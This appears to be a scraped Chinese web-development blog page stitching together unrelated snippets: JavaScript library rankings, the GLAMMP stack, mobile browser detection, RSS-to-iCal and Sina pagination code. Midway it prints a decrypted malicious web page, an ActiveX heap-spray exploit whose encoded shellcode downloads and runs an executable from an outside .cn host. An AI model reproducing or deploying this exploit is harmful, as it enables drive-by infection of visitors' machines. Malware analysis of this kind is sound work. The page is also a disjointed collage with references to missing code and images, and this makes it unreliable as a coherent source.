Google 排名中的10个最著名的JavaScript库

JavaScript 是 Web 开发与设计中不可或缺的东西,不管是一个简单的网页还是一个专业的站点,也不管你是高手还是菜鸟,如今 JavaScript 库越来越强大,可以胜任许多复杂的工作,然而同时,人们在众多 JavaScript 库面前又觉得无所适从,本文,我们将使用 Google 搜索出排名前 10 位的 JavaScript 库,并对它们逐一进行介绍。
1. jQuery: The Write Less, Do More, JavaScript Library

jQuery 是一个很新的 JavaScript 库,它的口号是“几行代码,能干大事”(Write Less, Do More),它是拥有最多插件和扩展的 JavaScript 库,以下是 jQuery 现状:
- 当前版本: 1.3.2
- 文件尺寸:压缩后最小19KB,未压缩为120K。
- 作者: John Resig
- 拥有19种语言的教程: 教程总计183种。
- 著名用户: 超过1000个
- 插件: 3493
- 易学
- 对设计师来说非常易学,使用 CSS 语法
- 拥有大量有趣的扩展
- 拥有非常出色的社区,可能是最大的
- 被数以百万的站点使用,包括诸如 Google, Dell, CBS, NBC, DIGG, Bank of America, Wordpress, Drupal, Mozilla 等著名站点。
2. MooTools – a compact javascript framework
MooTools 是一个使用 MIT 许可的开源项目,意味着你可以在任一场合使用或对它就行修改。
- 当前版本: 1.2.3
- 未压缩尺寸: 95 KB (客户端) ,22 KB (服务器端)
- 作者: Valerio Proietti
- 著名用户: w3c, cnet, bing, …
- 官方站上的插件数目: 4
- 拥有更好的面向对象结构
- 它的动画效果更平滑
- 语法及对象句柄更富逻辑
前端开发工程师必备速查手册

整理了一批比较好用的前端开发相关的速查手册,希望对大家有用,也希望大家能够提交一些自己认为比较好的速查手册。
本文将保持更新,在我们或者读者发现有新的手册的时候,我们会立即更新本文的。
HTML速查手册
CSS速查手册
javascript速查手册
PHP开发者:你GLAMMP了吗

开发黄金组合LAMP(Linux+Apache+MySQL+PHP)已经流行了好几年。即LAMP之后,PHP社区最近开始推广起GLAMMP组合。这个组合在LAMP之上又加进来一个G和一个M。这新加进来的两个字母各是什么意思呢?
GGearman
Gearman是BradFitzpatrick的一个作品,用Perl写的任务调度程序,提供一个服务器端和多种语言的客户端接口,包括C/Perl/Python/Ruby等。
gearman可以用在各个方面,最简单就是在不同语言之间架起一座桥梁。比如你可能希望你的php程序调用一个c函数,那么用gearman就可以实现了,当然了实际你可以通过写一个php扩展来实现同样的工作,但是比如你要php调用java,perl,或者python那么,gearman就非常棒了。
gearman另一个应用方面是负载分担,你可以将worker放在不同的服务器(或者一些列服务器)上,比如你的php程序需要图片转换,但是不希望本地服务器有太多的这样图片转换的进程,那么你可以建立一系列服务器,在上面加载worker处理图片转换。这样你的web服务器将不受图片转换的影响,同时你得到了负载均衡的功能,因为jobserver会在请求到来的时候,将这个请求发给空闲的worker.同样对于多核的服务器,你可以在同一机器上创建同样数目的worker.你可能担心,jobserver处于一个中心,那么这会是一个单点的瓶颈,如果死了,会怎么样?对于这样的情况,你可以运行多个jobserver。这样如果一个jobserver down了,client和worker会自动迁移到另一台jobserver上。
MMemcached
memcached是由DangaInteractive开发的,高性能的,分布式的内存对象缓存系统,用于在动态应用中减少数据库负载,提升访问速度。
PHP社区的看法是,LAMP组合已经越来越不能满足很多网站的需要,其他工具的介入是必然趋势。数据库方面,号称memcached杀手应用的 Drizzle有可能会替代MySQL。在MySQL被Sun收购的那一年,人们关心MySQL是否将会继续让LAMP架构发扬光大;而在Sun又被甲骨文收购,MySQL创始人宣布创建开源数据库联盟,MySQL即将四分五裂之际,Drizzle是否能够做为MySQL的延伸,令GLAMMP发扬光大下去呢?
不过我也许说错了,这样的话,GLAMMP大概应该改名叫做GLAMPD才是。
- Yahoo!的YQL(http://developer.yahoo.com/yql/console/)
- Facebook的FQL(http://wiki.developers.facebook.com/index.php/FQL)
- Google App Engine的GQL(http://code.google.com/intl/zh-CN/appengine/)
这三个分别是业界翘楚推出的基础开放平台上的结构化数据的查询语言,他们都用了大家熟知的SQL-Like 的语言作为自身开放平台的接口交互语言。
一般来说,一个元素包括一个首标签(start tag)、零或多个属性(attribute)、一些内容和一个尾标签(end tag)。就这么简单, 参见下图。
这个问题一直困惑我们很久,网上不少人在说UA 已经被中国移动屏弊了,无奈。
上面流传着这样的判断方式:
<%
'获得客户端浏览器分辨率
pix=Request.SERVERVARIABLES("HTTP_UA_PIXELS")
if left(pix,3) <640 then
response.write"wap"
else
response.write"pc"
end if
%>
不过最近在看discuz的时候,发现它的WAP做得很不错,可以自动判断是手机访问还是电脑访问,然后自动跳转到需要的页面。
有这一段判断的编码:
if(preg_match('/(mozilla|m3gate|winwap|openwave)/i', $_SERVER['HTTP_USER_AGENT'])) {
// 为电脑访问
}else{
//为手机访问
}
希望能对您的写作有用。
有意思吧,你可以下载下代码研究一下。不过与google首页的还是有一定区别的。
没钱的人总会想一些省钱的方法,我就是这样的.
最近一直在用google的calendar ,其中有了一些它的weather的SMS手机订阅的东西.挺不错的.每天会自动的收到一些天气信息给我,虽然收到的不是很及时,而且是E文,不过阅读起来也不难,所以感觉就挺好的.方便,懒惰,实用.
但是我却很贪心的,在想了,是否能把我的google的RSS订阅器中的RSS源转换成ical 的格式导入到calendar中去,那样不是又方便又便宜吗?(注:目前国内联通,电信接收免费,MS移动无法接收到.呵呵)
google了一下,的确老外想得比我们都远. RSS to iCal Converter 和 RSS to iCal 都提供了好的提示给我们.前者是提供了一个在线RSS2ICAL转换工具给我们,而后者是更进一步的提供了PHP的转换代码, 8错8错.
下面就是转换的PHP代码,欢迎大家借鉴使用..
病毒名称:Suspicious.Trojan-Downloader.Unescape.ShellCode.b

因此,上了一下:http://glacierlk.cn/openlab/jm.htm 将代码cryptHtml 解密,现将代码贴出来共享给大家:
<script language=javascript>kF99=3648;if(document.all){function _dm(){return false};function _mdm(){document.oncontextmenu=_dm;setTimeout("_mdm()",800)};_mdm();}document.oncontextmenu=new Function("return false");function _ndm(e){if(document.layers||window.sidebar){if(e.which!=1)return false;}};if(document.layers){document.captureEvents(Event.MOUSEDOWN);document.onmousedown=_ndm;}else{document.onmouseup=_ndm;};zY67=1360;pV32=5361;function _dws(){window.status = " ";setTimeout("_dws()",100);};_dws();wL46=4788;vE2=2221;function _dds(){if(document.all){document.onselectstart=function (){return false};setTimeout("_dds()",700)}};_dds();uR62=3363;vU74=8504;mF80=1363;yL27=2502;xY86=3645;mW51=7646;dG57=505;;_licensed_to_="huyufeng";</script>
/*
*/
<html>
<object classid="clsid:F3D0D36F-23F8-4682-A195-74C92B03D4AF" name="Cuteqqcn" width=100 height=200></object>
<script>
var Cuteqqaddress;
Cuteqqaddress = 0x05050505;
var EvilCute;
EvilCute = window['unescape']("%u90"+"90" +
"%u9090%u54eb%u758b%u8b3c%u3574" +
"%u0378%u56f5%u768b%u0320%u33f5" +
"%u49c9%uad41%udb33%u0f36%u14be" +
"%u3828%u74f2%uc108%u0dcb%uda03" +
"%ueb40%u3bef%u75df%u5ee7%u5e8b" +
"%u0324%u66dd%u0c8b%u8b4b%u1c5e" +
"%udd03%u048b%u038b%uc3c5%u7275" +
"%u6d6c%u6e6f%u642e%u6c6c%u4300" +
"%u5c3a%u2e55%u7865%u0065%uc033" +
"%u0364%u3040%u0c78%u408b%u8b0c" +
"%u1c70%u8bad%u0840%u09eb%u408b" +
"%u8d34%u7c40%u408b%u953c%u8ebf" +
"%u0e4e%ue8ec%uff84%uffff%uec83" +
"%u8304%u242c%uff3c%u95d0%ubf50" +
"%u1a36%u702f%u6fe8%uffff%u8bff" +
"%u2454%u8dfc%uba52%udb33%u5353" +
"%ueb52%u5324%ud0ff%ubf5d%ufe98" +
"%u0e8a%u53e8%uffff%u83ff%u04ec" +
"%u2c83%u6224%ud0ff%u7ebf%ue2d8" +
"%ue873%uff40%uffff%uff52%ue8d0" +
"%uffd7%uffff%u7468%u7074%u2f3a%u6b2f%u2e6f%u3038%u3037%u3039%u632e%u2f6e%u734d%u3830%u3530%u2e33%u7865%u0065");
var Cuteqqsize;
Cuteqqsize = 0x400000;
var CuteqqLoadSize;
var Cuteqquser;
CuteqqLoadSize = EvilCute["length"] * 2;
var spraySlideSize = Cuteqqsize - (CuteqqLoadSize+0x38);
var Cuteqq_Slide = unescape("%u0505%u0505");
Cuteqq_Slide = Cuteqq_Get_Slide(Cuteqq_Slide,spraySlideSize);
heapBlocks = (Cuteqqaddress - 0x400000)/Cuteqqsize;
Cuteqqtools = Cuteqq_Slide + EvilCute;
cuteqqs = new window["Array"]();
for (i=0;i<heapBlocks;i++)
{
cuteqqs[i] = Cuteqqtools;
}
try
{
var a=new Array(813);
var b=new Array(227);
a=a+"aaaa";
a=a+b+"\x61\x30\x19\x77\x61\x30\x19\x77\x61\x30\x19\x77\x61\x30\x19\x77\x61\x30\x19\x77\x61\x30\x19\x77\x61\x30\x19\x77\x61\x30\x19\x77\x6A\x6A\x6A\x6A\x6A\x6A\x6A\x6A\x6A\x6A\x6A\x6A\x6A\x6A\x6A\x6A\x6A\x6A\x4E\x38\x18\x77\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x76\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x63\x4E";
a=a+"\x4E\x38\x18\x77\x56\x38\x64\x20\x4A\x6B\x49\x6B\x42\x42\x73\x28\x73\x73\x26\x68\x73\x46\x46\x52\x45\x43\x43\x76\x50\x41\x51\x64\x73\x65\x7A\x78\x43\x44\x44\x66\x25\x34\x73\x73\x23";
Cuteqqcn.URL=a;
}
catch(e){}
function Cuteqq_Get_Slide(Cuteqq_Slide, spraySlideSize)
{
while (Cuteqq_Slide["length"]*2<spraySlideSize)
{
Cuteqq_Slide += Cuteqq_Slide;
}
Cuteqq_Slide = Cuteqq_Slide["substring"](0,spraySlideSize/2);
return Cuteqq_Slide;
}
</script>
</html>
新浪网的纯JS分页--奥斯卡奖的专题分析

/***************************************
*函数名称:分页跳转
*作者:刘景峰
*时间:2006-01-04
****************************************/
function loadpage(i)
{
m=(i-1)*count;
n=i*count;
if(n>(dt_i-1))
{
n=dt_i-1;
}
echo(m,n);
page(i);
return false;
}
/***************************************
*函数名称:显示数据
*作者:刘景峰
*时间:2006-01-04
****************************************/
function echo(i,j)
{
var outstr='';
if(j>(dt_i-1))
j=dt_i-1;
if(i<0||i>(dt_i-1))
i=0;
for(m=i;m<=j;m++)
{
outstr+='<h3><div class="floatRi"><a href="http://comment4.news.sina.com.cn/comment/skin/default.html?channel=yl&newsid=28-3-'+data_p[m][5]+'" target="_blank">评论</a></div><span>'+data_p[m][6]+'</span> '+data_p[m][0]+'</h3><p>'+data_p[m][2]+'</p>';
if(data_p[m][3] != ""){
outstr+='<div class="picTit"><a href="'+data_p[m][1]+'" target="_blank"><img src="'+data_p[m][3]+'"/></a></div>';
}
if(data_p[m][4] != ""){
outstr+='<div class="picTit"><a href="'+data_p[m][1]+'" target="_blank"><img src="'+data_p[m][4]+'"/></a></div>';
}
outstr+='<div class="about"></div><div style=" text-align:center;"><div class="leLine"></div></div>';
}
document.getElementById("show_data").innerHTML=outstr;
}
/***************************************
*函数名称:分页显示
*作者:刘景峰
*时间:2006-01-04
****************************************/
function page(i)
{
var outstr='';
if(i<=1)
outstr+=' 上一页 ';
else
outstr+=' <a href=http://eb9.cn/corpBlog/admin.php# onclick="return loadpage('+(i-1)+');">上一页</a> ';
start_=i-2;
end_=i+3;
if(start_<1)
{
start_=1;
end_=6;
}
if(end_>page_count)
{
end_=page_count+1;
start_=end_-5
}
for(m=start_;m<end_;m++)
{
if(m>0)
{
if(m==i)
outstr+=' <font style="color:#ff0000">'+m+'</font> ';
else
outstr+=' <a href=http://eb9.cn/corpBlog/admin.php# onclick="return loadpage('+m+');">'+m+'</a> ';
}
}
if((i*count)>=(dt_i-1))
outstr+=' 下一页 ';
else
outstr+=' <a href=http://eb9.cn/corpBlog/admin.php# onclick="return loadpage('+(i+1)+');">下一页</a> ';
document.getElementById("show_page").innerHTML=outstr;
//document.getElementById("ast_page1").innerHTML=outstr;
}
</SCRIPT>
不过,这个代码还是有一定的问题,比如当信息量过大,会造成客户端数据压力太大,所以在可控制的范围内使用,还是不错的。
具体地址:http://flashhq.gw.com.cn/dzh.swf



下载文件 



